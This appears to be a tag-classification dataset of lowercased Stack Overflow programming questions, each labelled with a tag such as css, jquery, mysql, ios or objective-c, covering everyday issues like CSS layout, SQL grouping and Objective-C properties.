how to make logo stay in position even when the browser is resized  <a href= http://jsfiddle.net/rd61ao0f/1  rel= nofollow >jsfiddle demo</a>    html   <pre><code>    &lt;div class= ratio-1439-330 bg-cover  style= background-image: url( https://www.agtinternational.com/wp-content/uploads/2013/11/city-solution.jpg ); &gt;       &lt;div class= l-center  style= max-width: 1240px; &gt;        &lt;div class= square-logo bg-cover          style= background-image:url( http://www.astronautamarcospontes4077.com.br/wp-content/uploads/2014/07/person-icon.png ); &gt;         &lt;/div&gt;          &lt;div class= header-cover  style= background-color: #373737; opacity: 0.9; position: absolute; bottom: 0; left:0; width: 100%; overflow: hidden; padding: 10px 0; &gt;           &lt;div class= l-center  style= max-width: 1240px &gt;           &lt;div class= nav nav-tabs  style= margin-left: 338px &gt;             &lt;a class= active  href= #overview  data-toggle= tab &gt;               overview             &lt;/a&gt;             &lt;a href= #visits  data-toggle= tab &gt;               visit             &lt;/a&gt;           &lt;/div&gt;&lt;!-- ./tab-lined-top--&gt;        &lt;/div&gt;&lt;!--tabs--&gt;        &lt;/div&gt;&lt;!--header cover--&gt;      &lt;/div&gt;     &lt;/div&gt;      &lt;div class= tab-content l-center  style= max-width: 1240px; &gt;       &lt;div id= overview  class= tab-pane active &gt;         &lt;div class= l-center  style= max-width: 1240px;background:red; &gt;          test 1        &lt;/div&gt;       &lt;/div&gt;&lt;!--#overview--&gt;       &lt;div id= visits  class= tab-pane &gt;        &lt;div&gt;        test 2       &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;&lt;!--tab-content--&gt;  css [class*= ratio ] {   position: relative; }   [class*= ratio ]:after {     content:   ;     display: block; }   [class*= ratio ] .cly-ratio-content {     display: block;     position: absolute;     top: 0;     left: 0;     right: 0;     bottom: 0; }  .ratio-1439-330:after {   padding-top: 22.932592078%; }  .l-center{   margin: 0 auto; }  .square-logo{   background: #fff;   position: absolute;   width: 180px;   height: 180px;   bottom: 25px;   left: 0;   margin-left: 115px;   z-index: 800;   opacity: 1; }  .bg-cover{    background-position: center center;      background-repeat: no-repeat;      background-size: cover; }  .nav-tabs{   border-bottom: 0; }  .nav{   margin-bottom: 0; } </code></pre>   currently it works on jsfiddle  but not on my local machine so you might not understand what i am asking.  bootstrap is only there for tabs to be clickable. the logo move from left to right when browser is being resized and it looks jumpy while moving. another issue is that the div with l-center and max-width seems not to be working well for tab pane content. suspect that it is because of no height.    is there any way around to force make logo stay vertically lined to tab content and tabs should move as well while browser is resizing      help appreciated!,css
items padding showing different also after same padding size in windows application c# <pre><code>listbox1.items.add(item.padright(60) +  quantity=  +  txtteesqty.text.padright(60) +  rs=  + tea_total);  listbox1.items.add(sb.tostring().padright(60) +  quantity=  + txtomelteqty.text.padright(60) +  rs=  + omelte_total); </code></pre>   both <strong> item </strong> and <strong> sb.tostring() </strong> character lenght is same which is  23  but on the listbox both listitem not at the <strong>same position</strong>.    i really dont know whats going on why it is not at same padding help me!,c#
extended view class object not rendered (xml ) in android studio or on phone  i extended view like so:   <pre><code>public class zoomview extends view {} </code></pre>   and created a place for the zoomview in the layout .xml like so:   <pre><code>&lt;sic.example.guestbookapp.zoomview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:src= @drawable/bodyshape      android:id= @+id/bodypicture  /&gt; </code></pre>   which is so cool that i can extend widgets and then cast    <pre><code>(zoomview) findviewbyid(r.id.bodypicture); </code></pre>   problem is that the drawable image is not rendered in studio or on the phone.      update here s the answer: the fix is to extend imageview rather than view  than all is fine.   <pre><code>public class zoomview extends imageview {} </code></pre>   (answering my own question),android
creating items in groups in rails  my product table is    <pre><code>id        type         price      location 1         chips         $3          aisle3 </code></pre>   i have a question with adding the products in groups.  there is a quantity field(nonmodel) where the user can enter the quantity while adding a new product  if the user enters:   <pre><code>type: soda quantity: 3 </code></pre>   then there  3  records should be created in product model with type= soda like the following.    <pre><code>id   type    2    soda   3    soda    4    soda    </code></pre>   if user enters    <pre><code>location: aisle4 quantity: 2 </code></pre>   then    <pre><code>id   location   5    ailse4 6    ailse4 </code></pre>   can you tell me how to pass the nonmodel field  quantity   to the rails(model or controller)  and  how use it to add the products in groups as mentioned above  or should i create a column called quantity in my product table  will the history be updated too for all these new records with after_create filter which i already have   is there any good tutorial or book which shows how to pass such nonmodel html/javascript fields from view to rails and then back to the view  any help will be greatly appreciated. thanks,ruby-on-rails
line breaks by single quotation in python  i have this right now in python:   <pre><code> going to school. taking a few courses and playing basketball. got a new puppy.   going to school. i bought a new backpack yesterday. got a new cat. i did my homework as well.   going to school. brought lunch today.  </code></pre>   i am trying to figure out how i place line breaks in here from whenever <code> </code> occurs so i have sentences that are in quotations on each line.    i think regex might be the way  but not certain. any advice,python
is the query acting like it should   yesterday i posted the question below:            here is a simplified version of my table:    it contains the columns <code>employee_id  column2  column3   x   y</code> and they are all <code>numeric</code>    i am having trouble writing a complicated mysql query. i want to get all the <code>employeeid</code> and <code>column3</code> values for all employees that have the same value in <code>column2</code> as another employee and have different values for <code>x</code> and <code>y</code> pair from every other employee. for example  if the following 4 rows were in table:   <pre><code>2 100 123.456 5 7 1 234 123.456 5 7 3 100 456.789 5 10 4 100 123.456 5 7 </code></pre>   the rows <code>2 100 123.456 5 7</code> and <code>3 100 456.789 5 10</code> should be obtained because they have different employee ids (<code>2</code> vs <code>3</code>)  the same value for <code>column2</code> (<code>100</code> and <code>100</code>)  and different <code>x</code>  <code>y</code> pair: (employee 2 has <code>x</code> = 5 and <code>y</code> = 7  which is distinct from <code>x</code> = 5 and <code>y</code> = 10).     how can i compare the documents of table with other documents within itself            somebody responded with the following query  which i adapted for my table:   <pre><code>select truncate(column2  2) from table t1 join table t2 on t1.id &lt;&gt; t2.id and t1.tiv_2011 = t1.tiv_2011 and (t1.x &lt;&gt; t2.x or t1.x &lt;&gt; t2.y) </code></pre>   i am still not getting the result i expect  so i m wondering if this query is doing what i think it s doing or if it s missing something.,mysql
detecting the network availablity in ios  i want an app to be done in ios. the app has to give a notification to the user when the network is lost. is it possible to check the network status using objective c  is it a lot of work     i am new to ios development and the person who is coding says this will take a few hours to write.     also i want a vcard sharing script for ios. the developer says it will take 5 days to complete the task.     can any one help me on this  am tired of hearing many excuses from his side and unable to proceed further.     thank you,objective-c
when list<t> resizes  how much additional capacity is added   when a list resizes because there is no more excess capacity  how much capacity is added   just 1   or does it add capacity (so doubling the total capacity),.net
read text file with delimiter nsstring  i have a text file like this    question1 question2 question3    i want to read only the first line into a nsstring    after that i want to mark the first line so the next time  skip the first line  but i don t know how to do it  i have this code for read but give me only the third line   <pre><code>nsstring *filepath = [[nsbundle mainbundle] pathforresource:@ qa  oftype:@ txt ];    nsstring *mytext = [nsstring  stringwithcontentsoffile:filepath encoding:nsutf8stringencoding error:nil];    nsarray *lines = [mytext componentsseparatedbystring:@ \n ];     for(mytext in lines) {      texview.text = mytext;    }   }   </code></pre>   ok i try this code  do not work  what i am doing wrong    <pre><code>nsuserdefaults *defaults = [nsuserdefaults standarduserdefaults]; nsstring * const kkey = @ onetimekey ; nsobject  *keyvalue = [defaults  objectforkey:kkey];    nsstring *filepath = [[nsbundle mainbundle] pathforresource:@ qa  oftype:@ txt ];    nsstring *mytext = [nsstring  stringwithcontentsoffile:filepath encoding:nsutf8stringencoding error:nil];    nsarray *lines = [mytext componentsseparatedbystring:@ | ];        if (keyvalue==nil) {     for(mytext in lines)      {          preguntadia.text = mytext;            [defaults setbool:yes forkey:kkey];      }    } </code></pre>,iphone
page loading bar until the entire page has loaded  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5245294/loading-bar-while-script-runs >loading bar while script runs</a>    </blockquote>     hi  i have a page that has alot of images and was wondering if there was a way to delay the display of this images until the entire page has loaded  like a loading bar maybe  but using jquery  any help would be great thankyou.,jquery
why does this bitwise or return null on a nullable int   i essentially have the following:   <pre><code>    int  myval = null;     myval |= 1;     bool stillnull = myval == null; //returns true </code></pre>   why does this behave this way   my understanding of bitwise operator/operand behavior is not terribly strong  and i could not find a reason that it wouldn t be treated as a simple assignment in this case.,c#
responsive data tables  i m trying to make a responsive data grid that can change layouts depending on the width of the screen. i know how to use the media queries but i m trying to figure out the best way to build the actual data grid. should i use tables  divs or a lists     the table should render like this if the user in on a desktop: as you can see i have the header items on the left side and data values to the right.   <blockquote>    table header item 1 | row 1 value 1 | row 1 value 2 | row 1 value 3 |        table header item 2 | row 2 value 1 | row 2 value 2 | row 2 value 3 |  </blockquote>   but if the user reduces the size of the screen i want to move the header items on top and the values on the row below   <blockquote>    table header item 1<br/>   row 1 value 1 | row 1 value 2 |        table header item 2 <br/>   row 2 value 1 | row 2 value 2 |  </blockquote>   i m thinking using div s might be my best way to get this result  but does any1 have any other suggestions     thanks!,html
anything other than div   i m very new to html and i was wondering if there is anything i can use other than  div . the code that i want to use displays a hover and just like any other stylesheet in css  you would use it example <code>&lt;div id= cartpopup &gt;</code>. well this makes it so whatever i put in between these brackets it will lower whatever it is by one. everything is working fine i just don t want my image to be lowered because of div  idk if this makes any sense  but help would be appreciated.,html
is there a tool out there to find out which .net framework is installed on a pc   i know the official way is the registry  but this is kinda timeconsuming.     i have to check installed versions on several pc s  none of them have visualstudio   but all of them (probably) <em>a</em> version of .net framework.    since the hot water probably exists already  where can i find it,.net
count 2 values in 1 query  i need help with writing a query (mysql) to   <ol> <li>total number of users in a project  and</li> <li>number of users in that project that have been  disabled </li> </ol>   now  i can do it separately  like this:        <blockquote>    select count(users) from t1 where project = 3        select count(users) from t1 where project = 3 and status =  disabled   </blockquote>   but there s gotta be a simple way of combining the two in one query...,mysql
how to only show email inbox through application on iphone  i am working on one feature which sends some information to server and server sends the email. on the view i have to provide one button i.e inbox which will open native inbox like we access photo library.    so is it doable     thanks     sagar,iphone
how can i get a solution for this   i have two radio buttons: yes and  no    when i select  yes  it should ask  enter your requirements  and when i select  no   nothing should happen. i have tried this:   <pre><code>&lt;form&gt; &lt;input type= radio  name= question  value= yes &gt;yes &lt;input type= radio  name= question  value= no &gt;no &lt;input type= button  name= submit  value= submit  onclick= getvalue( question ) &gt; &lt;/form&gt;  &lt;script&gt; function getvalue(question) {     for (var i = 0; i &lt; question.length; i++) {         var button = question[i];         if (button.checked) {             return button;         }     } print getvalue(question) </code></pre>,html
jquery dialog & dynamic data issue  i know it is possible to load data dynamically into jquery dialog like   <pre><code>(document).ready(function () {         $( a#popup ).live( click   function (e) {             var page = $(this).attr( href )              var $dialog = $( &lt;div&gt;&lt;/div&gt; )             .html( &lt;iframe style= border: 0px;   src=   + page +    width= 100%  height= 100% &gt;&lt;/iframe&gt; )             .dialog({                 autoopen: false                  modal: true                  height: 450                  width:  auto                   title:  edit employee                   buttons: {                      close : function () { $dialog.dialog( close ); }                 }                  close: function (event  ui) {                      __dopostback( &lt;%= btnrefresh.clientid %&gt;     );                 }             });               $dialog.dialog( open );             e.preventdefault();         });     }); </code></pre>   so i just want to know when i am loading another page data into jquery dialog like   <pre><code>var $dialog = $( &lt;div&gt;&lt;/div&gt; )         .html( &lt;iframe style= border: 0px;   src=   + page +    width= 100%  height= 100% &gt;&lt;/iframe&gt; ) </code></pre>   then how can i determine that data has been loaded into dialog     basically i need to show a busy icon when data is loading and when i can determine programmatically that data is loaded and now it can be shown into dialog then i will stop showing busy icon and just show the actual data into dialog...i search google but found nothing similar....so i need advise and sample code. thanks,jquery
select distinct one column but return all  i have a query like this:   <pre><code>$sql_place =  select * from place inner join join_appointment_place  on join_appointment_place.id_place = place.id_place inner join join_event_appointment  on join_appointment_place.id_appointment = join_event_appointment.id_appointment where join_event_appointment.id_event =   . $event_id .   order by place.title  place.category ; </code></pre>   the problem is that i need to return all the places with different <code>titles</code>. so i should use a <code>distinct</code>. but how do i select the <code>distinct</code> <code>title</code> and at the same time return all the other values    <pre><code>  $sql_place =  select    distinct    place.id_place     place.avatar     place.category     place.title     place.description     place.address     place.latitude    place.longitude     place.email     place.web     place.shared from place   inner join join_appointment_place    on join_appointment_place.id_place = place.id_place   inner join join_event_appointment    on join_appointment_place.id_appointment = join_event_appointment.id_appointment   where join_event_appointment.id_event =   . $event_id .     order by place.title  place.category ; </code></pre>   the above is what i tried. but i am worried that is applying the distinct not only to the <code>title</code>  but to each selected column and this is not what i am looking for. thanks for any help :),sql
jquery appendto on page load  ok relevant html:   <pre><code>&lt;div rel=   id= cartridgedisplays  class= category section  &gt;     &lt;h3 class= categorytitle parent &gt;cartridge displays&lt;/h3&gt;                 &lt;/div&gt;  &lt;div rel=   id= coldcastbronzeresinfigurines  class= category section  &gt;     &lt;h3 class= categorytitle &gt;cold cast bronze resin figurines&lt;/h3&gt;              &lt;/div&gt;  &lt;div rel= cartridgedisplays  id= collectableitems  class= category section child &gt;     &lt;h3 class= categorytitle &gt;collectable items&lt;/h3&gt;                 &lt;/div&gt;  &lt;div rel= cartridgedisplays  id= commercialdisplaysandclocks  class= category section child &gt;     &lt;h3 class= categorytitle &gt;commercial displays and clocks&lt;/h3&gt;                &lt;/div&gt; </code></pre>   and this jquery:   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function(){         $( .child ).appendto($( # + $(this).attr( rel ) +  ));     });  &lt;/script&gt; </code></pre>   so what i want to happen is on page load  is all the div s with a class of  child  to be appended to the div that has the same id as the class:child div s rel attribute. can anyone help with this,jquery
ios 7: property not found on object of type  i have been following apple s <a href= https://developer.apple.com/library/ios/referencelibrary/gettingstarted/roadmapios/index.html  rel= nofollow >start developing ios apps today</a> guide and have run into a problem. i m not a newbie developer but i am new to ios development and i can t see why i m going wrong.    i have a file called straddtodoviewcontroller.h which contains the following   <pre><code>#import &lt;uikit/uikit.h&gt; #import  strtodo.h   @interface straddtodoviewcontroller : uiviewcontroller @property strtodo *todoitem; @end </code></pre>   and in my strtodosviewcontroller.m i have:   <pre><code>- (ibaction)unwindtolist:(uistoryboardsegue *)segue {     straddtodoviewcontroller *addtodo = [segue sourceviewcontroller];     strtodo *item = addtodo.todoitem;     if (item != nil) {         [self.todos addobject:item];         [self.tableview reloaddata];     } } </code></pre>   and i m getting an error of:   <pre><code>property  todoitem  not found on object of type  straddtodoviewcontroller *  </code></pre>   for some reason  my public variable in straddtodoviewcontroller isn t getting picked up in my other controller and i can t for the life of me figure out why. any clues     <strong>edit:</strong> massive apologies everyone  seems like i had two copies of straddtodoviewcontroller in my project and it was reading the old one when it was building. such a simple mistake and i feel like a massive idiot now  but thanks to everyone who helped me out.,ios
ios device in organizer is yellow not green  i am having problems with an ios device and trying to get an app i m developing on it. i have tried all the standard restarts  deleting profile from phone  etc. where would be the first place to start to figure this out      <img src= https://i.stack.imgur.com/s37zj.jpg  alt= enter image description here >,ios
displaying pdf from the local directory or database in a <object tag  is there a way to display pdf from local directory or database in a object tag.    my problem is i am trying to display pdf print dialog after pdf is loaded.    this is possible if i load pdf using object tag  but currently my pdf is getting loaded dynamically using response.binarywrite. any help will be highly appreciated.    regards nilesh,asp.net
sum on unique tables  i have to produce sum of column b and c based on column a and distinct value of column d.   <pre><code>column a | column b | column c | column d ------------------------------------------ a1       | 23       | 33       | unique1 a1       | 73       | 44       | unique2 a1       | 99       | 87       | unique3 a1       | 23       | 33       | unique1 a1       | 56       | 35       | unique4 a1       | 73       | 44       | unique2 </code></pre>   now i have to sum column b and c data for column a (a1) but skipping 4th and 6th rows because column d is duplicate.    i have used group by along with sum but getting 4 rows. i need sum of all  b  and  c  for all the 4 records.,mysql
removing redundant lines of code which differ by only one list index value  i have a number of lines of code which are quite repetitve  only differing by one integer.    <pre><code>def my_function(row):         ozone = row[1].text.replace( \xa0      ).split(   )[0]     no2 = row[2].text.replace( \xa0      ).split(   )[0]     so2 = row[3].text.replace( \xa0      ).split(   )[0]     pm10 = row[4].text.replace( \xa0      ).split(   )[0]     return { ozone : ozone   no2 : no2   so2 : so2   pm10 : pm10}    </code></pre>   i would like to clean up this code  if possible  by doing something like the following:    <pre><code>def my_function(row):         foo = row[{}].text.replace( \xa0      ).split(   )[0]     return { ozone : foo.format(1)   no2 : foo.format(2)   so2 : foo.format(3)   pm10 : foo.format(4)} </code></pre>   obviously the str format method won t work  but hopefully you can see what i aim to do. how can i do this in a pythonic way,python
@property (weak  nonatomic) or @property (nonatomic  weak)  which one closest to apple guidelines   if i look at uiviewcontroller.h  i can see <strong>atomicity before retainability</strong>:   <pre><code>@property(nullable  nonatomic  readonly  strong) nsbundle *nibbundle; </code></pre>   as if i drag an drop an element from a .xib to a counterpart file  it generates <strong>retainability before atomicity</strong>:   <pre><code>@property (weak  nonatomic) iboutlet uiview *testview; </code></pre>   source: xcode 7 beta 5.    which one is recommended or following apple guidelines more closely,objective-c
deleting files matching a specific file extension recursivly   i would like to delete all files matching a particular extension in a specified directory and all subtree. i suppose i should be using using unlink but some help would be highly appreciated... thank you!,php
why does adding my gem to a website not work   i created a gem <code>helloword</code> with the command:    <pre><code>bundle gem helloword </code></pre>   <a href= https://i.stack.imgur.com/uqzzi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uqzzi.png  alt= enter image description here ></a>    i built the gem with the command:   <pre><code>gem build helloword.gemspec </code></pre>   i edited the <code>gemfile</code> of my rails app:   <pre><code>gem  helloword    0.1.0   path:  /users/iloveyou/helloword  </code></pre>   and i installed the gem:   <pre><code>bundle install </code></pre>   i am using the gem in my page like:   <pre><code>&lt;h1&gt;&lt;%= hello_word_tag %&gt;&lt;/h1&gt; </code></pre>   i get the result:    <a href= https://i.stack.imgur.com/k8u7y.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/k8u7y.png  alt= enter image description here ></a>    why did adding my gem to the website not work,ruby-on-rails
how to work with z coordinates in a texture   how to work with z coordinates in a texture in iphone opengl.,iphone
unrecognized selector with category nsmutabledata  i m adding a category to nsdata as follows:   <pre><code>// packetcategories.h @interface nsdata(packetsplit)   - (nsarray *)splittransferredpackets:(nsdata **)leftover; @end  // packetcategories.m @implementation nsdata(packetsplit) - (nsarray *)splittransferredpackets:(nsdata **)leftover {      nsmutablearray *ret = [nsmutablearray array];     const unsigned char *beginning = [self bytes];     const unsigned char *offset = [self bytes];     nsinteger bytesend = (nsinteger)offset + [self length];      while ((nsinteger)offset &lt; bytesend) {         uint64_t datasize[1];         nsinteger datasizestart = offset - beginning;         nsinteger datastart = datasizestart + sizeof(uint64_t);          nsrange headerrange = nsmakerange(datasizestart  sizeof(uint64_t));         [self getbytes:datasize range:headerrange];           if (datastart + datasize[0] + (nsinteger)offset &gt; bytesend) {             nsinteger lengthofremainingdata = [self length] - datasizestart;             nsrange datarange = nsmakerange(datasizestart  lengthofremainingdata);             *leftover = [self subdatawithrange:datarange];               return ret;         }          nsrange datarange = nsmakerange(datastart  datasize[0]);         nsdata *parseddata = [self subdatawithrange:datarange];          [ret addobject:parseddata];         offset = offset + datasize[0] + sizeof(uint64_t);     }     return ret; } @end </code></pre>   and then trying to call that category:   <pre><code>#import  packetcategories.h   nsmutabledata *data = [nsmutabledata data]; // read some data [data appendbytes:buffer length:bytesread]; nsarray *datapackets = [data splittransferredpackets:&amp;readleftover]; </code></pre>   which gets the following error:    <code>-[nsconcretemutabledata splittransferredpackets:]: unrecognized selector sent to instance 0x6e6f7b0 [error] the application has crashed with an unhandled exception. stack trace:</code>    any ideas   does nsconcretemutabledata not inherit from nsdata     other suggested answers (<a href= https://stackoverflow.com/questions/3998483/objective-c-category-causing-unrecognized-selector >objective-c category causing unrecognized selector</a>) have suggested that the file isn t linked in  which is not possible because other categories defined in this file are used just fine.    thanks,objective-c
how can i put the image in the section of table in the titleforheaderinsection method   i have so confused to make an image in the table s header section   and i have make put the image in the cell of table but i cannot understand how to make put image in the section part of table . here is my code of that method ..   <ul> <li> (nsstring *)tableview:(uitableview *)tableview titleforheaderinsection:(nsinteger)section {     if (section == 0) { </li> </ul>   //      return @ alpahbets ; with string    <pre><code>    uilabel *alphabet = [[uilabel alloc] initwithframe:cgrectmake(50  100  200  100)];     alphabet.text = @ alphabet ;     return alphabet.text;      } if (section == 1) { </code></pre>   //      return @ roman ; with string         uilabel *roman = [[uilabel alloc]initwithframe:cgrectmake(50  100  200  100)];         roman.text = @ roman ;         return roman.text;   <pre><code>} else {  //  return @ digits ; with string     uilabel *digit = [[uilabel alloc]initwithframe:cgrectmake(50  100  200  100)];     digit.text = @ digit ;     return digit.text;  } </code></pre>   },iphone
c# pass by ref not working   whats going on here  why isn t the = working  it s not a value type so it should be passing by reference right    <pre><code>void func() {     vector2 a = new vector2(1  0);     equal(a);     // a is now (1  0) not (0  0) }  void equal(vector2 a) {     a = new vector2(0  0); } </code></pre>,c#
computational cost of typedef  is there any computational cost to using typedef   i would assume so  since it s not a preprocessor instruction  but it very much seems like it would be something that would be used during compilation rather than at run time.,c
trying to add a drop down menu to a complicated navigation bar  i ve been tasked with modifying a website. i m a volunteer and i have some experience with web development. i m trying to add a drop down menu into the nav bar. from the examples i found (simpler ones) i couldn t come up with a solution for the code below. any ideas  if you need other sources i can provide. e.g. the css so you can visualise in liveweaver or similar.   <pre><code>&lt;header&gt;             &lt;div class= divlink  id= divlogo &gt;&lt;!-- open divlogo --&gt;                 &lt;a id= navlogo  href= ../home/ &gt;&lt;img src= ../pictures/logo.png  height= 50px  width= 43px &gt;&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlogo --&gt;             &lt;div class= divlink &gt;&lt;!-- open divhome --&gt;                 &lt;a id= navlink  href= ../home/ &gt;home&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divhome --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../volunteering/ &gt;volunteering&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../communitygroups/ &gt;community groups&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../socialenterprise/ &gt;social enterprise&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../communityplanning/ &gt;community planning&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../downloads/ &gt;downloads&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../about/ &gt;about us&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div class= divlink &gt;&lt;!-- open divlink --&gt;                 &lt;a id= navlink  href= ../contact/ &gt;contact us&lt;/a&gt;             &lt;/div&gt;&lt;!-- close divlink --&gt;             &lt;div tabindex= 0  class= navmenu &gt;&lt;span&gt;&lt;/span&gt;                 &lt;ul&gt;                     &lt;a onclick= location.href= ../home/  &gt;&lt;li&gt;home&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../volunteering/  &gt;&lt;li&gt;volunteering&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../volunteering/under25.html  &gt;&lt;li&gt;volunteering under 25&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../communitygroups/  &gt;&lt;li&gt;community groups&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../socialenterprise/  &gt;&lt;li&gt;social enterprise&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../communityplanning/  &gt;&lt;li&gt;community planning&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../downloads/  &gt;&lt;li&gt;downloads&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../about/  &gt;&lt;li&gt;about us&lt;/li&gt;&lt;/a&gt;                     &lt;hr&gt;                     &lt;a onclick= location.href= ../contact/  &gt;&lt;li&gt;contact us&lt;/li&gt;&lt;/a&gt;                 &lt;/ul&gt;             &lt;/div&gt;         &lt;/header&gt; </code></pre>,html
how can i check image contain data or not in this response  this is my response api. the image data dynamically changes with more image at a time or else no image at a time. i have check as ([image_array count]==0) but app crash due to empty array.<br> error   <pre><code>reason:  *** -[__nsarrayi objectatindex:]: index 0 beyond bounds for empty array  *** first throw call stack: (     0   corefoundation                      0x0243edf6 __exceptionpreprocess + 182 </code></pre>   api response   <hr>  <pre><code>{     response =     {         details =         {             id = 4;             address =   ;             ancestors =             (             );              comment_count  = 0;              comment_status  = closed;             description =   ;              description_pt  =   ;             duration = 2;              event_address  =   ;              event_location  =    ;              event_location_option  =   ;              event_place_address  =   ;              event_place_email  =   ;              event_place_location  =   ;              event_place_phone  =   ;              event_place_website  =   ;             filter = raw;             guid =   ;             images =             (             );              like_count  = 0;              like_status  = false;             location =   ;              menu_order  = 0;              ping_status  = closed;             pinged =   ;              place_event_count  =   ;              place_event_id  =   ;              place_id  =   ;              post_author  = 5;              post_category  =             (             );              post_content  =   ;              post_content_filtered  =   ;              post_date  =  2015-07-31  ;              post_date_gmt  =  2015-07-31  ;              post_excerpt  =   ;              post_mime_type  =   ;              post_modified  =  2015-07-31  ;              post_modified_gmt  =  2015-07-31  ;              post_name  = 48;              post_parent  = 0;              post_password  =   ;              post_status  = publish;              post_title  =   ;              post_type  = events;              tags_input  =             (             );             time =  17:50:30 ;             title =   ;              title_pt  =   ;              to_ping  =   ;             video =   ;             website =   ;         };         message =  post details ;         httpcode = 10;     }; } </code></pre>,ios
difficulty understanding syntax  in the <a href= http://cocoadevcentral.com/d/learn_objectivec/  rel= nofollow >tutorial</a> there is the following declaration:   <pre><code>-(bool)writetofile:(nsstring *)path atomically:(bool)useauxiliaryfile; </code></pre>   i m interpreting this as <code>writetofile</code> method returns a <code>bool</code> result.  it takes 2 parameters.  the first is an <code>nsstring</code> reference.  the second is the result of calling <code>atomically</code> and passing it a <code>bool</code> value.    did i get that right     the tutorial goes on to say you call the above method like this:   <pre><code>bool result = [mydata writetofile:@ /tmp/log.txt  atomically:no]; </code></pre>   which is find.  but i wonder if i must use  atomically:no      could i have done something like   <pre><code>resultofatomically = atomically:no bool result = [ mydata writetofile:@ /tmp/log.txt  resultofatomically ]; </code></pre>   assuming i declared <code>resultofatomically</code> properly.    also  does prepending <code>@</code> to <code> /tmp/log.txt </code> mean something like  give me the reference not the value,objective-c
jquery how can i count the index number from parent   i have a this function to count the index number  but i need to count it from it s parents parent  so my result of index would be 0 1 2.    how can i do this     myfuntion://    ​html:   <pre><code>&lt;div id= parent &gt;     &lt;div class= child1 &gt;         &lt;h3&gt;title one&lt;/h3&gt;     &lt;/div&gt;     &lt;div class= child1 &gt;         &lt;h3&gt;title one&lt;/h3&gt;     &lt;/div&gt;     &lt;div class= child1 &gt;         &lt;h3&gt;title one&lt;/h3&gt;     &lt;/div&gt; &lt;/div&gt;​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ </code></pre>   jquery:   <pre><code>​$( h3   #parent )​​​​​​​​​.click(function(){     alert($(this).index( #parent ))             })​ </code></pre>,jquery
issues using function with variadic arguments  i m trying to write a logging function and have tried several different attempts at dealing with the variadic arguments  but am having problems with all of them. here s the latest:   <pre><code>- (void) log:(nsstring *)format  ... {     if (self.loggingenabled)     {         va_list vl;         va_start(vl  format);         nsstring* str = [[nsstring alloc] initwithformat:format arguments:vl];         va_end(vl);         nslog(format);      } } </code></pre>   if i call this like this:   <pre><code>[self log:@ i like: %@   @ sausages ]; </code></pre>   then i get an exc_bad_access at the nslog line (there s also a compiler warning that the format string is not a string literal).    however if in xcode s console i do  po str  it displays  i like: sausages  so str seems ok.,objective-c
highlight all elements in a div when the div is hovered  i m trying to figure out how to get all the elements to highlight in the li element once the li is hovered.   <pre><code>&lt;ul class= category-box &gt;     &lt;li&gt;          &lt;h1&gt;&lt;a&gt;...&lt;/a&gt;&lt;/h1&gt;         &lt;p class= meta &gt;lorem ipsom &lt;a&gt;...&lt;/a&gt;          &lt;a&gt;...&lt;/a&gt;         &lt;/p&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   jquery   <pre><code>$( .category-box li ).hover(function () {     $(this).css( color    #a58637 ); }  function () {     $(this).css( color    black ); }); </code></pre>,jquery
creating a singleton nsmutablearray  i am trying to do a singleton nsmutablearray  but the count function always shows 0 elements. i guess it is not receiving well the object.    this is the code that i have created.   <pre><code>//variablestore.h @interface variablestore : nsobject {     nsmutablearray *pruebaglobal; } @property (nonatomic  retain) nsmutablearray *pruebaglobal; + (variablestore *)sharedinstance; - (nsmutablearray*)pruebaglobal; @end  //variablestore.m @implementation variablestore @synthesize pruebaglobal; + (variablestore *)sharedinstance {     // the instance of this class is stored here     static variablestore *myinstance = nil;      // check to see if an instance already exists     if (nil == myinstance) {         myinstance  = [[[self class] alloc] init];         myinstance.pruebaglobal = [[nsmutablearray alloc] initwithcapacity:100];     }     // return the instance of this class     return myinstance; }  - (nsmutablearray*)pruebaglobal{     return pruebaglobal; }  @end  //viewcontroller.m  nsmutablearray *p = [[variablestore sharedinstance] pruebaglobal]; p = [nsarray arraywithobjects:                    [nsmutablearray arraywithobjects:@ sí   @ no   nil  nil  nil]                     [nsmutablearray arraywithobjects:@ súbita   @ fluctuante   @ progresiva   nil  nil]  nil];  nslog(@ %d   [[[variablestore sharedinstance] pruebaglobal] count]); </code></pre>,ios
